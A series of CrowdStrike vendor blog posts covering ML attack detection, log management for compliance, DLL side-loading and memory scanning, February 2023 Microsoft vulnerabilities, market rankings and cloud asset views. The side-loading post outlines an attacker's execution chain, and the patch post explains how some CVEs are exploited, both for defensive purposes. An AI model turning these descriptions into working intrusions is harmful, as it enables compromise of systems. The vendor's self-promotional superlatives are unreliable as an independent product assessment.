• Malware gets the headlines, but the bigger threat is hands-on-keyboard adversary activity which can evade traditional security solutions and present detection challenges
• Machine learning (ML) can predict and proactively protect against emerging threats by using behavioral event data.
• CrowdStrike’s artificial intelligence (AI)-powered indicators of attack (IOAs) use ML to detect and predict adversarial patterns in real time, regardless of tools or malware used, stopping breaches

With news headlines like “A massive ransomware attack hit hundreds of businesses” becoming common, concern about malware has never been higher. High-profile examples of malware like DarkSide, REvil have been profiled so many times that not only cybersecurity professionals are on edge — every organization that has on-premises or in-the-cloud workloads is concerned. 

However, even though malware attacks are making headlines, an increasing number of cyberattacks are malware-free. According to the CrowdStrike^® 2022 Global Threat Report, 62% of attacks in 2021 did not use malware, but instead were carried out using hands-on keyboard activity. In addition, so-called “living off the land” (LotL) attacks misuse legitimate tools like PowerShell to carry out an attack and are therefore much more difficult to detect. 

This is the reality security professionals face: hands-on-keyboard activity poses a far greater threat than a piece of malware. 

Most traditional security solutions scan for known malware or packers, so hands-on-keyboard attacks can go unnoticed until it’s too late and a breach occurs. It can happen quickly — as reported in the CrowdStrike 2022 Global Threat Report, an adversary takes an average of 1 hour and 38 minutes to move laterally from the moment of initial access to the moment they can infect additional critical endpoints. 

AI is a cybersecurity game-changer given ML’s ability to detect behavior-based IOAs in real time. Leveraging cloud-native ML models trained on the rich telemetry of the CrowdStrike^® Security Cloud, threat intelligence pointing to a hands-on-keyboard attack can be delivered to security teams to prevent real-time breaches from happening.

Using AI in Cybersecurity: How ML Can Detect and Prevent Hands-on-Keyboard Activity Patterns

Let’s look at a typical attack scenario that exploits legitimate tools and services to infiltrate a network. Once a perch is gained and persistence is established, bad actors are then able to use valid credentials to move laterally through the target network, gain access to critical systems and steal or compromise data. They can also use their foothold to download and install malware and additional tooling without detection, holding the victim organization hostage. The dangerous aspect of hands-on-keyboard attacks is that adversaries can exploit stolen credentials (such as compromised account passwords) and then leverage legitimate tools and software to establish their presence. 

Since this type of adversarial tradecraft is mostly malware-free or fileless, there is no “traditional” malware being downloaded for legacy security software to intercept. Because legitimate tools and software are used in these LotL attacks, such as the abuse of PowerShell and Windows Management Instrumentation (WMI) to run scripts or the use of existing remote desktop service, detecting these attacks with signature-based approaches is extremely difficult. 

The use of AI, specifically ML, is a highly effective way to detect hands-on-keyboard activities as they develop, preventing the disaster of a breach. 

Detecting the signs of a hands-on-keyboard attack before it progresses requires understanding patterns and behavior. Using the rich telemetry of the CrowdStrike Security Cloud and the expertise from our threat hunting teams we developed and trained ML models that can both identify and predict adversarial behavior patterns related to hands-on-keyboard activity. 

The challenge is that because this type of adversary activity uses legitimate tools and processes, it is extremely difficult to detect or assess a single action that could be part of an attack. In addition, false positives — incorrectly alerting that an action is part of an attack — are a problem and can have analysts invest time in bringing systems back online from incorrectly triggered automated remediation procedures. Security resources are limited. False alarms are a distraction that diverts staff, lowers confidence in the solution and can have a dollar value associated with resolving them.

Taking these into consideration, ML is ideal for detecting and helping to prevent hands-on-keyboard intrusion activity. 

ML models are trained using expertly curated data sets of malicious threats and benign activities, including data generated from real-life cyberattacks. They “learn” to recognize behavioral patterns and to accurately assess a threat level as a sequence of events progresses.  

The CrowdStrike Falcon^® platform was built from the ground up to leverage the power of ML and the cloud, demonstrating both in simulated tests and real-world environments that it is incredibly effective at defending against malware-free, hands-on-keyboard activities. For example, our cloud ML models known as AI-powered IOAs have identified over 20 new behavior-based indicator patterns indicative of post-exploitation payload detection or the use of LotL tools like PowerShell. When malicious activity is detected, the attack is stopped before a breach occurs. The organization’s security team is then alerted, giving them the ability to immediately investigate the threat and take any action required. 

To see just how impressive the Falcon platform is in action, consider the results of a recent MITRE Engenuity ATT&CK Enterprise Evaluation. The Falcon platform went up against emulated attacks from highly sophisticated WIZARD SPIDER and VOODOO BEAR (Sandworm Team) adversaries, achieving 100% automated prevention across all of the MITRE Engenuity ATT&CK Enterprise Evaluation steps. This level of protection prevented attackers from even gaining access to the test environment, with the Falcon platform’s AI-powered automated defenses effectively stopping the test before it could even start.

Malware is dangerous and a constant threat, but it’s relatively easy to prevent with the right tools. Hands-on-keyboard activities are costly, relentless, high volume and virtually impossible to detect until it’s too late when using traditional security solutions. AI and ML are the right answers to defend against these increasingly sophisticated attacks. 

But this doesn’t mean that the use of AI and ML can completely replace people and that human security staff are no longer needed. On the contrary, ML is a powerful tool that augments an organization’s security team. Employing the Falcon platform with its advanced AI and ML increases the effectiveness of the security team, cutting response time and providing the advanced tools needed to combat the most sophisticated adversaries.

Additional Resources

• Read about how machine learning is used in cybersecurity.
• Learn more about the CrowdStrike Falcon^® platform by visiting the product webpage.
• Test CrowdStrike next-gen AV for yourself. Start your free trial of Falcon Prevent today.

From manufacturers in Michigan to fintechs in Finland, every business must comply with industry regulations — which are increasingly constraining. At the same time, businesses must protect and account for a growing number of systems, applications and data in order to remain compliant. 

In other words, compliance is getting harder.

Enter log management. While regulations vary by country and industry, nearly every organization must store compliance-relevant information for a certain period of time. The trouble comes when you’ve got an assortment of tools emitting logs in an inconsistent fashion.

Estimate your infrastructure savings with CrowdStrike Falcon^® LogScale

A good log management system solves this problem by ingesting data from disparate sources and storing it in a central location where it can easily be searched. This post explores how CrowdStrike Falcon^® LogScale delivers the right mix of speed, scale and cost for compliance use cases, regardless of your business type. 

Now Required: Log Management for Compliance

Compliance is all about controlling your systems. The way to ensure that control is through preventive or detective controls. Log management is a key component for detective controls and the workflow around them. Meaning: Whatever the regulations say you should or shouldn’t do, those events can easily be captured by a logging system. 

Log management is so integral for compliance, in fact, that most regulations and frameworks require centralized log management. 

Take cybersecurity. Security teams can — and should — log relevant host activity for threat detection, hunting and investigations. But an adversary can delete or manipulate log files, especially if they are stored on the host. From a defense standpoint, you want to get those logs off the host system as quickly as possible. A modern log management system can instantly log those events for safekeeping and give incident responders a trail of evidence to see how deep the breach went.

These digital forensics not only help with business continuity but they make for a much easier discussion when the data breach authorities come knocking. Fines increase dramatically when you have inadequate controls in place, which explains how companies have racked up $4.4 trillion USD in data breach fines, penalties and settlements. 

Log management is useful for both security and non-security compliance requirements. Whether it’s health and safety, Payment Card Industry (PCI) standards, or a different regulatory framework, the fundamental ability to store and search your log data can make audits a breeze, while adding value in other areas of the business.

How to Use Falcon LogScale for Compliance

Falcon LogScale is CrowdStrike’s log management and observability solution. It bolsters organizations’ security posture by allowing teams to hunt for threats, investigate possible attacks, identify risks and gain valuable insights from all log and event data in real time. 

From a compliance standpoint, Falcon LogScale offers organizations a scalable, high-performance log management solution with a robust query language for threat hunting and analysis. Customizable dashboards and optional data masking make Falcon LogScale ideally suited for compliance teams. With flexible, cloud-native and self-hosted deployment options — as well as high compression rates and a small infrastructure footprint — Falcon LogScale is the easy, cost-effective choice for compliance and long-term log storage.

Here are four popular features of Falcon LogScale to help with your compliance goals:

1. Scale. Falcon LogScale is highly scalable. Last year, Falcon LogScale achieved a scalability benchmark of 1 petabyte of data ingestion per day, making it the most scalable log management solution on the planet. As your compliance data requirements grow, Falcon LogScale grows with you.
2. Speed. Falcon LogScale allows you to ingest and search logs with minimal latency. For example, Great American Insurance Group can query 3 billion records in under a second. This speed comes in handy when auditors ask questions you don’t anticipate. With LogScale, you can quickly find answers to any question — think seconds not days.
3. Flexibility. Legacy log management solutions come bloated with out-of-the-box reporting capabilities. Falcon LogScale comes streamlined with a fast and flexible search engine that allows you to compile the exact data needed for audits. Check out our Infrastructure Savings Estimator to compare the infrastructure footprint of Falcon LogScale with legacy systems.
4. Cost. Falcon LogScale compresses data by 10x on average, drastically reducing storage costs (and hence, compliance costs). One bank in Norway says this translated to millions in savings over three years. In a 2022 Forrester Total Economic Impact study, Falcon LogScale showed a 210% ROI after three years, offering an extremely low total cost of ownership. 

Compliance as a Secondary Benefit

Most companies don’t use Falcon LogScale strictly for compliance. They get it for security, DevOps or operations (or all three) and then use it for compliance as well. Because Falcon LogScale allows you to ingest virtually any data source and then store that data for as long as you need it, compliance becomes a secondary benefit. 

This was the case for a hospital system in Denmark. They primarily used Falcon LogScale to collect and query security-related logs for enhanced threat hunting. But when auditors threatened to shut down their kitchen due to inadequate temperature monitoring capabilities, the hospital turned to Falcon LogScale.

They realized their digital kitchen equipment was capable of emitting log files. Now, the hospital uses Falcon LogScale to ingest and dashboard temperature data from their kitchen devices, allowing them to improve food quality while complying with food safety regulations. 

Compliance requirements aren’t getting any easier. Falcon LogScale is a modern log management and observability solution that allows any organization to ingest and search their log and event data at unrivaled speed, scale and cost — making it ideal for compliance.

Additional Resources

• Try Falcon LogScale for free with the Falcon LogScale Community Edition.
• Contact us to schedule a personalized demo of Falcon LogScale.
• Read the 2022 Forrester Study: The Total Economic Impact of CrowdStrike Falcon LogScale to learn the benefits and cost savings of Falcon LogScale.
• Visit the Falcon LogScale product page to learn more.

Threat actors constantly evolve their tactics and techniques to circumvent security solutions. Working at the cutting-edge of detection engineering, CrowdStrike rapidly tracks and observes these evolutions in tactics to deliver timely, effective detections that protect customers. In this blog, we explore DLL side-loading and learn how CrowdStrike has expanded protections with Advanced Memory Scanning.

Learn More About CrowdStrike’s Advanced Memory Scanning

Watch this webcast to see how the CrowdStrike Falcon platform’s Advanced Memory Scanning feature accelerates protection earlier in the kill chain.

Enter the DLL Side-Loading Evasion Technique 

DLL side-loading is the proxy execution of a malicious DLL via a benign executable planted in the same directory, similar to DLL search-order hijacking. This abuses the Windows behavior of loading the DLL from where the application  (e.g. the benign, planted binary) was loaded prior to other locations such as system directories.¹ DLL side-loading is a frequently seen technique that CrowdStrike has developed extensive protections against.

Advantages of DLL Side-Loading for Threat Actors 

The advantages of DLL side-loading is the executables used are often trusted, signed and in use within an organization. As such they may face less scrutiny by security appliances or teams. In reality, the payload is embedded within the DLL and may often be encrypted or obfuscated to defeat anti-virus or basic scanning. 

DLL side-loading is not a new technique and has been observed by the CrowdStrike^® Falcon OverWatch and CrowdStrike Intelligence teams for years.² It is one of the most prevalent techniques amongst attackers spanning targeted intrusions, eCrime (including big game hunting) and commodity RATs. 

DLL side-loading is used not only in post-exploitation, but also for lateral movement and persistence where the files are copied to another endpoint and remotely executed, or placed in a startup location or registry path to maintain or expand access.

Understanding the DLL Side-loading Technique 

The technique is mapped to MITRE under Hijack Execution Flow (T1574.002).

An example chain of malicious activity might appear similar to these steps:

1. A threat actor obtains initial access to an endpoint, either via an application vulnerability, compromised credentials, successful phish, trojanized installer or even a trusted insider.
2. Once an initial foothold has been gained, the threat actor needs to potentially upgrade their access to a more capable command and control (C2) such as Cobalt Strike or similar C2 frameworks.
3. To do this, the threat actor copies both a benign, often signed executable and a malicious DLL to disk into the same directory.
4. Upon launching the benign executable, the dropped DLL is loaded with its malicious payload. The application either fails to run any further, or the DLL proxies legitimate function calls to the real DLL to avoid any crash or suspicious behavior. 
5. Once the payload has been executed it will call back to the threat actor controlled remote C2.
6. The process tree will show the execution of the binary rather than any malicious program.

Definitely Not Just Vlc.exe

Since October 2022, CrowdStrike Intelligence has observed abuse of particular DLL side-loading to further various intrusions.³ In November and early December 2022, CrowdStrike identified a number of ransomware intrusions targeting the health sector which also had similar TTPs. In these cases, The threat actors used a copy of vlc.exe masquerading as the Windows binary msdtc.exe (Microsoft Distributed Transaction Coordinator). This file normally resides in C:\Windows\System32 whereas these executions were often from user-related folders such as C:\Users\<username>\Documents. The renamed vlc.exe would load a malicious DLL, libvlc.dll, which contained a Cobalt Strike payload.

Advantage: The CrowdStrike Falcon Platform

The Falcon platform has significant capabilities when dealing with DLL side-loading. This is due to  the platform’s overlapping set of detections, which include:

• Detect on-Write (DoW), which will trigger when a malicious DLL is written to disk
• CrowdStrike behavioral indicators of attack (IOAs) alerting on malicious execution
• Sensor and cloud machine learning constantly scanning executed files
• Falcon OverWatch and CrowdStrike Intelligence teams add a layer of human expertise to look for suspicious clusters of activity across trillions of daily events. 

Building on this coverage is a new evolution for Falcon detection: Advanced Memory Scanning (AMS). Advanced Memory Scanning adds another layer of protection to stop threats like malicious DLL side-loading techniques and fileless threats earlier in the kill chain to deliver on CrowdStrike’s mission to stop breaches.

Part of the role of the Endpoint Protection (EPP) Content team is to analyze intrusions and anticipate any changes in TTPs threat actors might use, and to ensure continued coverage against the latest threats. While the execution in the aforementioned intrusions was prevented, the basic IOCs for DLL side loading can be endlessly changed: hashes, filenames, execution paths or network indicators. 

To add another layer of protection for CrowdStrike customers, the EPP Content team dove into the malicious DLL and extracted a set of artifacts for AMS. The team  also developed customized “triggers” based on suspicious behaviors. By pairing the artifacts with the triggers, CrowdStrike can  ensure that AMS performs targeted scans against real threats and remains highly performant. 

Further, the memory scan specifications built from these behavioral triggers are delivered to Falcon customer endpoints in real time, ensuring the most up-to-date protection without sensor updates.

The below animation demonstrates AMS preventing this DLL side-loading technique. It replicates the abuse of vlc.exe loading a malicious version of libvlc.dll. As AMS is looking for malicious artifacts in memory, the detection is more robust than relying on other indicators that can be modified.

From the Falcon console, analysts can see the process that triggered the scan, confirm that it was killed by the sensor, and view the explanatory text noting that malicious artifacts were found in memory.

Analysts can also review AMS events in the Event Viewer and review the results of memory scans with the following example Splunk syntax:

event_platform=win event_simpleName IN (ProcessRollup2, AmsBytePatternScanResult)
| eval MemoryScanResultConst=case(MemoryScanResult_decimal==0, "INVALID", MemoryScanResult_decimal==1, "MATCH", MemoryScanResult_decimal==2, "NO_MATCH", MemoryScanResult_decimal==3, "SCAN_FAILED" )
| eval IntelTDTEnabledConst=case(IntelTDTEnabled_decimal==0, "DISABLED", IntelTDTEnabled_decimal==1, "ENABLED_GPU", IntelTDTEnabled_decimal==2, "ENABLED_CPU")
| stats values(ProcessStartTime_decimal) as ProcessStartTime, dc(event_simpleName) as eventCount, values(UserName) as UserName, values(ParentBaseFileName) as ParentFile, values(FileName) as FileName, values(CommandLine) as CommandLine, values(MemoryScanResultConst) as MemoryScanResultConst, values(IntelTDTEnabledConst), as IntelTDTEnabledConst by, aid, ComputerName, TargetProcessId_decimal
| where eventCount=2
| convert ctime(ProcessStartTime)
| table aid, ComputerName, ProcessStartTime, UserName, TargetProcessId_decimal, ParentFile, FileName, CommandLine, MemoryScanResultConst, IntelTDTEnabledConst

Not Your Average Memory Scan

When we think of “traditional” memory scanning, we often think of legacy antivirus applications constantly thrashing hard disk drives as it scans the entire memory of a system. Even on high-end systems, this was a drain on resources and significantly impacted performance. 

CrowdStrike partnered with Intel Corp to reimagine memory scanning, enabling fast, high-performance scans by integrating Intel’s Threat Detection Technology (TDT) with the Falcon platform’s Advanced Memory Scanning algorithms.

To break free of traditional memory scanning constraints, the EPP Content engineering team  minimized resource consumption through targeted hardware optimizations, such as GPU offloading and innovative algorithms optimized for Intel processors. To limit a memory scan’s size and duration vs traditional approaches, memory can be logically down-selected to limit scans appropriately to the artifact type. Effective guardrails on scan size and CPU limits minimize performance disruption, as should be expected for enterprise environments. These innovations result in surgical scans, more often, with minimal impact. 

These highly performant scans are automated with high-fidelity behavioral triggers, leveraging the Falcon platform’s indicators of attack instead of initiating on arbitrary intervals. Automation and behavioral triggers help Advanced Memory Scanning stop fileless attacks in real time, not after a breach. Furthermore, new memory scan specifications are delivered to customer endpoints from the cloud in minutes, so customer endpoints are protected from the newest and most sophisticated fileless attacks. 

Endnotes

1. Learn more about dynamic-link library search order.
2. Some examples over the years include: 
   1. CSA-14023 VIXEN PANDA Activity Using Mirage Malware Leverages DLL Side-Loading Technique Previously Only Seen with PlugX, April 23, 2014
   2. CSIT-16115 PREDATOR PANDA Uses HexRAT Malware to Target Asian Entities, October 19, 2016
   3. CSA-221165 New Falha Banking Trojan Campaign Observed; Continued Use of MSI Files and C2 Dead-Drop Pastebin URLs, November 05, 2022
   4. CSIT-22180 Logsupport: A China-Nexus Implant Targeting Eastern Europe, December 15, 2022. 
3. See CSA-230012 HIVE SPIDER Affiliate Targets Telecommunications Sector Entity; Affiliate Utilized HalfAndHalf and SolarMarker for Initial Access and Persistence, January 5, 2023.

Additional Resources

• Learn how the powerful CrowdStrike Falcon® platform provides comprehensive protection across your organization, workers and data, wherever they are located.
• Get a full-featured free trial of CrowdStrike Falcon Prevent and see for yourself how true next-gen AV performs against today’s most sophisticated threats.

Microsoft has released 75 security patches for its February 2023 Patch Tuesday rollout: 9 vulnerabilities are rated Critical, and the remaining 66 are rated Important. 

Three actively exploited vulnerabilities were reported by the vendor: an elevation of privilege within Windows Common Log File System Driver (CVE-2023-23376), a security feature bypass in Microsoft Office (CVE-2023-21715), and a remote code execution security flaw in Windows Graphics Component (CVE-2023-21823).

February 2023 Risk Analysis

This month’s leading risk type is Remote Code Execution (48%, up from 34% in January 2023), followed by Elevation of Privilege at nearly 16% (down from nearly 40% in January), and Denial of Service at 13% (up from 10% last month).

The Microsoft Windows product family received the most patches this month (36), followed by Extended Support Updates (34), and SQL Server and Developer Tools (such as Visual Studio Code) with seven patches each.

Actively Exploited Vulnerabilities 

CVE-2023-21823, rated Important, is a vulnerability affecting Windows Graphics Component. This zero-day was discovered by Genwei Jiang and Dhanesh Kizhakkinan of Mandiant. No additional data was provided by Microsoft at this time. It is recommended to patch the operating system in order to mitigate this vulnerability.

CVE-2023-23376, rated Important, is an elevation of privilege security flaw that impacts the Common Log File System(CLFS) Driver, a logging service used by both kernel- and user-mode applications. This vulnerability can be leveraged after an attacker has obtained access to a vulnerable target in order to elevate to SYSTEM privileges. The flaw was discovered by the Microsoft Threat Intelligence Center (MSTIC) and Microsoft Security Response Center (MSRC).

CVE-2023-21715, also rated Important, is a security flaw allowing an attacker to bypass Microsoft Office macro policies that are used to block untrusted or malicious files. An authenticated attacker could exploit the vulnerability by convincing a victim, through social engineering, to download from a website and open a specially crafted file that could lead to a local attack on the victim computer.

Rank	CVSS Score	CVE	Description
Important	7.8	CVE-2023-21823	Windows Graphics Component Remote Code Execution Vulnerability
Important	7.8	CVE-2023-23376	Windows Common Log File System Driver Elevation of Privilege Vulnerability
Important	7.3	CVE-2023-21715	Microsoft Publisher Security Features Bypass Vulnerability

Figure 3. Actively exploited vulnerabilities patched in February 2023

Critical Vulnerabilities in Microsoft Products

Critical Vulnerabilities in Protected Extensible Authentication Protocol (PEAP)

CVE-2023-21692, CVE-2023-21690 and CVE-2023-21689 are extremely dangerous vulnerabilities, all with a CVSS 9.8 score. To exploit these vulnerabilities, an attacker sends specially crafted PEAP packets over the network to a victim machine, potentially allowing for remote code execution in the user context of the targeted network account. An attacker does not require special privileges or user interaction in order to exploit this vulnerability. However, Microsoft notes that PEAP is only negotiated if the Network Policy Server Service (NPS) is running on the Windows Server endpoint and has a network policy configured to allow PEAP. To stop using PEAP, Microsoft recommends customers ensure that PEAP type is not configured as an allowed EAP type in their network policy. To learn more, Microsoft recommends visiting Configure the New Wireless Network Policy and Configure Network Policies.

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-21692	Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability
Critical	9.8	CVE-2023-21690	Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability
Critical	9.8	CVE-2023-21689	Microsoft Protected Extensible Authentication Protocol (PEAP) Remote Code Execution Vulnerability

Figure 4. Critical vulnerabilities in PEAP

Critical Vulnerabilities Affecting Microsoft Word

Deemed “less likely exploitable” by Microsoft, CVE-2023-21716 is a remote code execution vulnerability affecting Microsoft Word, Sharepoint, Office 365 and Office for Mac and has been assigned a CVSS score of 9.8. The vulnerability does not require authentication and could be exploited by sending an email with a rich text format (RTF) payload that, when opened, leads to a command execution.

For more guidance on how to prevent Word from loading RTF files, refer to MS08-026.

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-21716	Microsoft Word Remote Code Execution Vulnerability

Figure 5. Critical vulnerabilities in MS Word

Critical Vulnerabilities Affecting Visual Studio Code

CVE-2023-23381 and CVE-2023-21815 are arbitrary code execution vulnerabilities targeting the Visual Studio Code. This means that while the impact is remote code execution, the adversary must be able to run code on the victim machine to exploit the vulnerability. In other words, the adversary sends a crafted file to the victim computer and then the victim runs the malicious code. Microsoft recommends updating to the most recent version of Visual Studio Code in order to mitigate this vulnerability.

Rank	CVSS Score	CVE	Description
Critical	8.4	CVE-2023-23381	Visual Studio Remote Code Execution Vulnerability
Critical	8.4	CVE-2023-21815	Visual Studio Remote Code Execution Vulnerability

Figure 6. Critical vulnerabilities affecting Visual Studio Code

Critical Vulnerabilities Affecting Windows iSCSI Discovery Service 

CVE-2023-21803 could allow an attacker the ability to remotely execute code on a target system. By default, the iSCSI Initiator client application is disabled, and in this state, an attacker cannot exploit this vulnerability. For a system to be vulnerable, the iSCSI Initiator client application would need to be enabled. Only x86 or 32-bit based versions of Windows are affected by this vulnerability.

Rank	CVSS Score	CVE	Description
Critical	9.8	CVE-2023-21803	Windows iSCSI Discovery Service Remote Code Execution Vulnerability

Figure 7. Critical vulnerabilities affecting Windows iSCSI Service

Not All Relevant Vulnerabilities Have Patches: Consider Mitigation Strategies

As we have learned with other notable vulnerabilities, such as Log4j, not every highly exploitable vulnerability can be easily patched. As is the case for the ProxyNotShell vulnerabilities, it’s critically important to develop a response plan for how to defend your environments when no patching protocol exists. 

Regular review of your patching strategy should still be a part of your program, but you should also look more holistically at your organization’s methods for cybersecurity and improve your overall security posture.

The CrowdStrike Falcon platform collects and analyzes trillions of endpoint events every day from millions of sensors deployed across 176 countries. Watch this demo to see the Falcon platform in action.

Learn More

This video on CrowdStrike Falcon^® Spotlight vulnerability management shows how you can quickly monitor and prioritize vulnerabilities within the systems and applications in your organization. 

About CVSS Scores

The Common Vulnerability Scoring System (CVSS) is a free and open industry standard that CrowdStrike and many other cybersecurity organizations use to assess and communicate software vulnerabilities’ severity and characteristics. The CVSS Base Score ranges from 0.0 to 10.0, and the National Vulnerability Database (NVD) adds a severity rating for CVSS scores. Learn more about vulnerability scoring in this article. 

Additional Resources

• Download the CrowdStrike 2022 Falcon OverWatch Threat Hunting Report to learn more about recent adversary tradecraft and tooling and get actionable tips for staying ahead of today’s stealthiest, most sophisticated cyber threats.
• See how Falcon Spotlight can help you discover and manage vulnerabilities in your environments. 
• Learn how the new External Attack Surface Module, Falcon Surface (EASM) can discover unknown, exposed and vulnerable internet-facing assets enabling security teams to stop adversaries in their tracks.
• Learn how Falcon Identity Protection products can stop workforce identity threats faster. 
• Make prioritization painless and efficient. Watch how Falcon Spotlight enables IT staff to improve visibility with custom filters and team dashboards. 
• Test CrowdStrike next-gen AV for yourself with a free trial of Falcon Prevent.

CrowdStrike maintains endpoint security market leadership with a #1 ranking in IDC’s 2021-2022 report, and has been awarded Best Endpoint Detection and Response and Best Product Development by SE Labs. These recognitions validate CrowdStrike as the industry’s market and innovation leader in endpoint security.

We’re honored to share CrowdStrike has been ranked #1 out of 26 vendors in IDC’s Worldwide Modern Endpoint Security Market Shares, July 2021-June 2022 report.¹ Our mission is to protect businesses by stopping breaches; we’re grateful to our customers and partners for the trust they put into CrowdStrike and for helping us achieve this milestone.

This is why we’ll never stop innovating to provide our customers with the best platform and technology to stop breaches and keep their organizations moving forward. We believe the best customer outcomes require the best technology. We don’t just say it — we constantly put it to the test. This is why it’s so powerful to also see CrowdStrike receive the SE Labs award for Best Endpoint Detection & Response for the third consecutive time and earn the Best Product Development award for our continued innovation. 

The modern endpoint is the epicenter of enterprise risk because it’s the gateway to any company’s most critical assets and sensitive data. Protecting the endpoint is essential because every endpoint is a potential entry point for an adversary to gain access to valuable resources. We believe our placement in IDC’s market share report demonstrates that companies trust CrowdStrike with this critical protection more than any other vendor in the world.

CrowdStrike: The World’s Most Deployed EDR

IDC defines the worldwide modern endpoint security market as including endpoint detection and response (EDR), endpoint protection platform (EPP), capabilities to strengthen the secure posture of end-user devices and vendor-provided managed detection and response (MDR). Its report states CrowdStrike produced the largest increases in endpoint revenue and market share of all 26 vendors included in the report. From July 2021 through June 2022, CrowdStrike’s market share increased from 13.8% to 17.7%, IDC states. This makes us the leader in IDC’s endpoint security market share report for the third year running.

This market continues to see rapidly accelerated demand, largely due to a growing attack surface and the extensive damage adversaries can inflict on businesses: IDC reports the endpoint security market increased 27.1% between June 2021 and June 2022. Organizations are spending more on endpoint security and related technologies, as well as vendor-provided managed services, to defend against increasingly advanced and destructive threats.

As the IDC report shows, organizations continue to make their endpoint security investment with CrowdStrike. We’ll continue to drive the innovation necessary to repeatedly earn that trust as we accelerate our innovation in extended detection and response (XDR) — the future of enterprise security technology. CrowdStrike’s leadership in EDR, the foundation of XDR technology, puts us in a prime position to dominate the XDR market as organizations seek to protect a growing attack surface.

CrowdStrike: The Industry’s EDR Technology Leader

In its Cyber Threat Intelligence 2023 report, SE Labs says CrowdStrike continues to provide customers with the Best Endpoint Detection & Response technology in the industry. This is the third consecutive time CrowdStrike has won the award for best EDR from SE Labs — and the latest in a series of awards recognizing CrowdStrike as the industry technology leader. CrowdStrike has recently been ranked: 

• #1 in ransomware prevention
• #1 in endpoint detection and response
• #1 in advanced security attack detection
• #1 in automated threat prevention
• #1 in worldwide corporate endpoint security market share²

Our customers know it: leading customer review websites G2, PeerSpot and TrustRadius recently recognized CrowdStrike as providing the top offerings in several cybersecurity market categories including EDR, EPP and XDR.

It’s no surprise why. CrowdStrike pioneered the concept of EDR and changed the way security is delivered with our lightweight agent and cloud-native architecture. In our view, industry-leading cybersecurity is built on two essential components: a comprehensive understanding of the adversary and a superior user experience for analysts using the platform. The only way to stop modern threat actors is with a platform approach that leverages artificial intelligence and machine learning to harness the power of trusted data to detect and block malicious activity.

“The best security involves having a good understanding of your enemy and the extent of the impact they could make (or have already made) on your IT infrastructure. Endpoint detection and response are the boots on the ground when it comes to seeing, stopping and investigating cyber threats on the network.” — SE Labs Annual Report 2023

This rich telemetry and threat intelligence form the foundation of nearly everything we do, from our EDR product to the development of XDR. CrowdStrike Falcon^® Insight XDR expands our detection and response capabilities to leverage a broader set of data and improve protection, gain efficiency and reduce complexity while providing a seamless user experience. CrowdStrike has demonstrated our strength in EDR and XDR to SE Labs through our strong lab performances and practical success. 

We believe leadership in EDR is essential to lead in XDR. As the technological and market leader in this space, CrowdStrike is uniquely positioned to continue driving the endpoint security market into the future.

1. IDC Worldwide Modern Endpoint Security Market Shares, July 2021-June 2022. Doc #US49982022, Feb. 2023
2. IDC Worldwide Corporate Endpoint Security Market Shares, 2021. Doc #US48580022, May 2022

Additional Resources

• Learn how the powerful CrowdStrike Falcon^® platform provides comprehensive protection across your organization, workers and data, wherever they are located.
• Learn more about CrowdStrike’s recognition as a security leader by industry analysts, independent testing organizations, security professionals and customers by visiting our Industry Recognition and Technology Validation webpage.
• Learn more about how CrowdStrike solutions protect your business from crippling data leaks and ransoms and proactively defend against ransomware threats.
• The industry-leading CrowdStrike Falcon® platform sets the new standard in cybersecurity. Watch this demo to see the Falcon platform in action.
• See for yourself how the industry-leading CrowdStrike Falcon platform protects against modern threats like ransomware. Start a 15-day free trial today.

Public cloud services and cloud assets are agile and dynamic environments. Close oversight of these assets is a critical component of your asset management and security practices.

While it’s important to understand the relationships and potential vulnerabilities of your cloud assets, the practice of managing these systems is complicated by the ever-changing nature of cloud environments. Any changes in these environments can be invoked by a variety of staff members — site reliability engineers (SREs), DevOps, cloud architects, compliance teams, security teams and the cloud services providers (CSPs). Without situational awareness, it can be difficult to make good decisions about remediation and organizational risk.  

As organizations move to a cloud-first posture, users need a contextual view of cloud assets and how these assets are connected to each other. This contextual view is vitally important to security teams that want to quickly assess the potential risk of any security breach and understand the potential risk to other cloud assets. 

Take the CrowdStrike Cloud Security Challenge with a free Cloud Security Health Check 

Visualize Cloud Risk and Compliance with CrowdStrike Cloud Security

With the integration of the CrowdStrike^® Asset Graph, CrowdStrike Cloud Security delivers powerful asset inventory and visualization features that strengthen your cloud security posture through risk mitigation and compliance enforcement. 

Here are three ways that CrowdStrike Cloud Asset Visualization features helps you improve and strengthen your cloud security posture: 

1. Create a Holistic View of Cloud Asset Inventory 

The Cloud Asset Overview Dashboard provides a holistic view of your cloud asset inventory.

This dashboard includes top counts, trends, detections, misconfigurations and other details across multiple public cloud environments (i.e., AWS, Azure, GCP).  

Additionally, you can drill down and filter to review specific asset information details within the Cloud Assets table.

The Cloud Assets table provides a comprehensive asset inventory, covering all cloud assets/services from AWS, Azure and GCP and showing the risk posture from an asset-centric view. Users can:

• Investigate all cloud assets in one place and each asset’s security posture
• Save filters (including cloud “tags”) to focus on assets that are designated for monitoring
• Define and save filters to focus on what matters most to your organization

2. Gain Context Between Cloud Assets and Their Risk Exposure

The Cloud Assets Graph tracks the relationships between cloud assets and shows their associated risk exposure to give you the context needed to reduce risk and close gaps in your posture. Using this graph, you can visualize misconfigured or insecure assets and take remediation and preventive actions on these assets as well as any connected cloud assets.

From the Cloud Asset table, you can open the Asset Graph view to visualize the asset context:

This Asset Graph displays the selected cloud asset and its connections to other assets:

• The cloud asset you are investigating is the circled “central entity” in the graph. 
• The asset details panel for the central entity is open when you first access the graph.
• Lines to other assets in the graph indicate relationships between those assets and the central entity.
• A dotted line between assets indicates that one asset is an asset type that defines a configuration for the other asset.

Next, you can expand the graph by clicking on the plus sign to view adjacent assets connected to the central entity:

This expanded view provides a comprehensive graph of all assets connected to the central entity and any indicators of misconfigurations (IOMs) associated with those adjacent assets (e.g., assets with critical IOMs are highlighted in red)

Finally, enabling the Legends option (toggle) will provide the ability to highlight another asset and detail IOMs associated with that particular asset. Additionally, you can “hide” specific asset classes and focus on just a single type (e.g., show only EC2 instances or security groups).

3. Get Context on Cloud Breaches and Enforce Compliance 

By gaining a full understanding of how every cloud asset is connected and getting context on their associated and compounded risk, security teams have the information required to identify cloud risk scenarios — and see how a breach would affect the broader environment. 

For example, incident response (IR) teams need to understand the security breach context to develop effective recommendations for remediation and prevention. The IR team can visually review a detection “in context” of the system to understand the implications of potential lateral spread of the breach across other cloud assets.

